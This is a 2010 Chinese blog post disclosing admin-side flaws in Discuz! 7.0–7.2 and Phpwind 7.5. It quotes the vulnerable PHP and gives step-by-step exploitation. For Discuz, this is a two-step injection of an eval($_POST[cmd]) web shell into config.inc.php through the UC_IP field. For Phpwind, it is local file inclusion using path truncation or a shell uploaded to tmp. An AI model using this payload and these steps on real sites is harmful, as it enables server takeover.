当前位置:首页 > 技术文章 > 正文内容

Discuz!7.0-7.2 & Phpwind7.5 后台鸡肋漏洞

lcy2010-01-20技术文章978

From Oldjun

很多人有了,流传出来了,然后发出来。现在的漏洞,如果主动公布的,肯定是“无鸡肋不公布”,否则肯定是藏着,除非别人公布了。DZ的鸡肋在于需要创建者的权限(创建者的密码一般比较难搞),pw的鸡肋在于需要截断(或者linux旁注写一个shell到tmp下)。

一、discuz后台settings.inc.php中写shell漏洞:

if($operation == 'uc' && is_writeable('./config.inc.php') && $isfounder) {

        $ucdbpassnew = $settingsnew['uc']['dbpass'] == '********' ? UC_DBPW : $settingsnew['uc']['dbpass'];

        if($settingsnew['uc']['connect']) {

            $uc_dblink = @mysql_connect($settingsnew['uc']['dbhost'], $settingsnew['uc']['dbuser'], $ucdbpassnew, 1);

            if(!$uc_dblink) {

                cpmsg('uc_database_connect_error', '', 'error');

            } else {

                mysql_close($uc_dblink);

            }

        }

        $fp = fopen('./config.inc.php', 'r');

        $configfile = fread($fp, filesize('./config.inc.php'));

        $configfile = trim($configfile);

        $configfile = substr($configfile, -2) == '?>' ? substr($configfile, 0, -2) : $configfile;

        fclose($fp);

        $connect = '';

        if($settingsnew['uc']['connect']) {

            require './config.inc.php';

            $connect = 'mysql';

            $samelink = ($dbhost == $settingsnew['uc']['dbhost'] && $dbuser == $settingsnew['uc']['dbuser'] && $dbpw == $ucdbpassnew);

            $samecharset = !($dbcharset == 'gbk' && UC_DBCHARSET == 'latin1' || $dbcharset == 'latin1' && UC_DBCHARSET == 'gbk');

            $configfile = insertconfig($configfile, "/define\('UC_DBHOST',\s*'.*?'\);/i", "define('UC_DBHOST', '".$settingsnew['uc']['dbhost']."');");//正则表示从'到')中的被替换,而')可以被任意提交,from oldjun.com

            $configfile = insertconfig($configfile, "/define\('UC_DBUSER',\s*'.*?'\);/i", "define('UC_DBUSER', '".$settingsnew['uc']['dbuser']."');");

            $configfile = insertconfig($configfile, "/define\('UC_DBPW',\s*'.*?'\);/i", "define('UC_DBPW', '".$ucdbpassnew."');");

            $configfile = insertconfig($configfile, "/define\('UC_DBNAME',\s*'.*?'\);/i", "define('UC_DBNAME', '".$settingsnew['uc']['dbname']."');");

            $configfile = insertconfig($configfile, "/define\('UC_DBTABLEPRE',\s*'.*?'\);/i", "define('UC_DBTABLEPRE', '`".$settingsnew['uc']['dbname'].'`.'.$settingsnew['uc']['dbtablepre']."');");

            //$configfile = insertconfig($configfile, "/define\('UC_LINK',\s*'?.*?'?\);/i", "define('UC_LINK', ".($samelink && $samecharset ? 'TRUE' : 'FALSE').");");

        }

        $configfile = insertconfig($configfile, "/define\('UC_CONNECT',\s*'.*?'\);/i", "define('UC_CONNECT', '$connect');");

        $configfile = insertconfig($configfile, "/define\('UC_KEY',\s*'.*?'\);/i", "define('UC_KEY', '".$settingsnew['uc']['key']."');");

        $configfile = insertconfig($configfile, "/define\('UC_API',\s*'.*?'\);/i", "define('UC_API', '".$settingsnew['uc']['api']."');");

        $configfile = insertconfig($configfile, "/define\('UC_IP',\s*'.*?'\);/i", "define('UC_IP', '".$settingsnew['uc']['ip']."');");

        $configfile = insertconfig($configfile, "/define\('UC_APPID',\s*'?.*?'?\);/i", "define('UC_APPID', '".$settingsnew['uc']['appid']."');");

        $fp = fopen('./config.inc.php', 'w');

        if(!($fp = @fopen('./config.inc.php', 'w'))) {

            cpmsg('uc_config_write_error', '', 'error');

        }

        @fwrite($fp, trim($configfile));

        @fclose($fp);

    }

settings.inc.php对提交的数据缺乏有效过滤,导致可以写入')污染配置文件的数据,而insertconfig函数的正则匹配无法正确匹配到最后,导致可以经过2次输入可以成功绕过daddslashes把shell写进配置文件。

function insertconfig($s, $find, $replace) {

if(preg_match($find, $s)) {

$s = preg_replace($find, $replace, $s);//正则匹配替换数据

} else {

$s .= "\r\n".$replace;

}

return $s;

}

步骤一:UC_IP(UC_IP是可选项,随便写入一般不影响程序运行)中写入污染数据:xxx');eval($_POST[cmd])?>提交;

步骤二:UC_IP随便输入aaa,正则匹配只匹配到了'),于是自动把分号前的闭合了。

二、phpwind后台本地包含漏洞:

漏洞文件:hack\rate\admin.php

源码:

<?php

!function_exists('readover') && exit('Forbidden');

define ( "H_R", R_P . "hack/rate/" );

define ( "L_R", R_P . "lib/" );

InitGP ( array ('ajax' ) );

$action = strtolower ( ($job) ? $job : "admin" );

$filepath = H_R . "action/" . $action . "Action.php";

(! file_exists ( $filepath )) && exit ();

if ($job != "ajax") {

    require H_R . '/template/layout.php';

} else {

    require_once $filepath;

}

?>

$job可以自定义,触发本地包含,只不过addslashes了,因此不能通过%00截断;但可以通过若干///////截断,或者直接在tmp文件夹下写个shell来包含。具体不多说了,利用办法:

先在tmp下上传一个shell,名为Action.php


 

 

版权声明:本文由cy's Blog发布,如需转载请注明出处。

本文链接:https://www.c3389.com/post/111.html

相关文章

CSS 简介

首先学习CSS 样式解决了一个普遍的问题HTML 标签原本被设计为用于定义文档内容。通过使用 <h1>、<p>、<table> 这样的标签,HTML 的初...

iis7 ASP+Access数据库连接错误

运行asp是提示Microsoft OLE DB Provider for ODBC Drivers (0x80004005)[M...

XenServer:Another operation involving the object is currently in progress

首先xe vm-shutdown name-label=VPS名称比如 xe vm-shutdown name-label=vps12345uuid ( RO)    ...

XSS的攻击与防范

文章目录   XSS攻击与防范指南... 1 第一章、XSS的定义... 1 第二章、XSS漏洞代码... 1 第三章、利用XSS盗取cookies. 3 第四章、防范XSS漏洞... 4...

windows系统搜索一个文件夹下面所有包含某个字符串的文件

findstr /s /i "要搜索的字符"   *.*>>d:/2.txt*.*表示所有类型的文件。/s 表示当前目录以及所有子目录/i 表示不区...

花马收信箱子Getshell 0day

By:rubbish特征:login.asp能看到版权,不过有些箱子把这个地址改求了.另外主目录下存在一个wsidny.asp整套程序过滤什么的灰常的严密,看得出来是专业的安全人士写的,唯一可以利用的...

发表评论

访客

◎欢迎参与讨论,请在这里发表您的看法和观点。